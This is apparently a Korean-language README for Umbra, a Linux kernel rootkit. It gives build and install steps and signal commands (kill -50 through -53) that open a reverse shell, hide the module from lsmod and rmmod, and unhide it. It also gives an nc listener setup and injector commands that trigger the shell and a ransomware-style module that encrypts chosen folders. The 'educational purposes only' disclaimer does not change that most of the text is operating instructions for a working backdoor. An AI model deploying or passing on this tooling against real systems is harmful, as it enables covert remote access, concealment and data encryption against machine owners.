
4.x 및 5.x 커널 버전을 대상으로 하는 LKM 루트킷으로, 원격 호스트에 리버스 셸을 생성하고 악성코드를 실행하는 등의 작업을 수행할 수 있는 백도어를 엽니다.

Umbra는 커널 4.x 및 5.x(5.7까지)용 실험적인 원격 제어 가능 LKM 루트킷으로, 네트워크 백도어를 열어 원격 호스트로 리버스 셸을 실행하고, 원격으로 악성코드를 실행하는 등 다양한 기능을 제공합니다.
이 루트킷은 아직 개발 중이지만, 아래 나열된 기능들은 이미 완전히 작동합니다.

참고: 이 루트킷은 커널 5.4.0과 Ubuntu 18.04를 사용하여 개발 및 테스트되었습니다.

더 많은 기능이 향후 업데이트에서 추가될 예정입니다.
이 루트킷은 순전히 교육 목적입니다. 의도하지 않은 사용으로 인해 발생하는 어떠한 손해에 대해서도 책임지지 않습니다.
또한 Umbra는 가벼운 은닉 및 보호 메커니즘만 포함하고 있음을 유의하세요. 실제 환경에서 사용하기 위한 것이 아닙니다.
중요: 이 루트킷을 자신의 머신에서 테스트하려면 VM을 사용할 것을 강력히 권장합니다.
Umbra Modules 정보: ransom 모듈은 단순한 암호화 메커니즘을 사용하지만 실제로 컴퓨터의 어떤 폴더든 암호화할 수 있습니다. 파일은 쉽게 복호화할 수 있지만, 통제된 환경이 아니라면 루트 폴더 등에 실행하는 것을 절대 권장하지 않습니다.
4.x 또는 5.x 커널이 있어야 합니다.
apt install linux-headers-$(uname -r)
커널 헤더 디렉터리(일반적으로 /usr/src 아래)를 포함하도록 include 경로를 구성합니다. vscode를 사용하는 경우 .vscode/c_cpp_properties.json에서 포함할 디렉터리의 예를 확인할 수 있습니다.
프로젝트 클론
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
이전에 스크립트를 실행했고 커널에 Umbra만 설치하려면 다음을 실행하면 됩니다:
sudo insmod ./umbra.ko
Umbra가 invisible 모드가 아닌지 확인하세요. 그렇지 않으면 실패합니다.
sudo rmmod umbra
kill -50 1
루트킷을 빌드하기 전에 CONFIG.H에서 원하는 IP와 포트를 설정합니다. 기본값은 127.0.0.1:5888입니다.
원격 호스트에서 수신 대기를 시작합니다.
nc -lvp 5888
kill -51 1
참고: Umbra는 로드 시에도 리버스 셸을 시작하려고 시도합니다.
이 기능은 lsmod와 같은 명령에 루트킷이 표시되거나 rmmod로 제거되는 것을 방지합니다.
kill -52 1
활성화된 invisible 모드를 해제합니다.
kill -53 1
Umbra Injector는 Umbra가 설치되기 전에 실행하거나(설치되면 셸을 획득), 대상 시스템에 Umbra가 설치된 후에 실행할 수 있습니다.
./injector -S 127.0.0.1
백도어는 다음 페이로드가 포함된 패킷을 수신 대기합니다: UMBRA_PAYLOAD_GET_REVERSE_SHELL.
또한 제 라이브러리 RawTCP를 사용하여 자신만의 인젝터를 빌드할 수 있습니다.
이 기능은 lsmod와 같은 명령에 루트킷이 표시되거나 rmmod로 제거되는 것을 방지합니다.
./injector -i 127.0.0.1
활성화된 invisible 모드를 해제합니다.
./injector -u 127.0.0.1
다음을 통해 Umbra Injector 실행 방법에 대한 전체 정보를 확인할 수 있습니다:
./injector -h
Umbra Modules는 install.sh 스크립트에 의해 /tmp/umbra에 저장되며, Umbra가 이를 숨깁니다. 이 디렉터리는 ls 및 유사한 명령으로는 표시되지 않습니다.
이 모듈은 Umbra Injector를 통해 원격 랜섬웨어 유형 공격을 실행할 수 있습니다. 암호화된 파일은 .ubr 확장자로 표시됩니다.
현재 암호화 메커니즘은 개념 증명용 단순 비트 수준 NOP입니다. 모듈을 편집하여 자신만의 암호화 알고리즘을 포함할 수 있습니다.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
이 루트킷의 개발에는 LKM 및 루트킷 기술에 대한 상당한 양의 연구가 필요했습니다. 다음은 제가 사용한 자료의 불완전한 목록입니다: LKM 생성 방법:
Linux syscall 참조:
일부 루트킷 참고 자료:
이 프로젝트는 GPLv2 라이선스에 따라 라이선스가 부여됩니다. LICENSE를 참조하세요.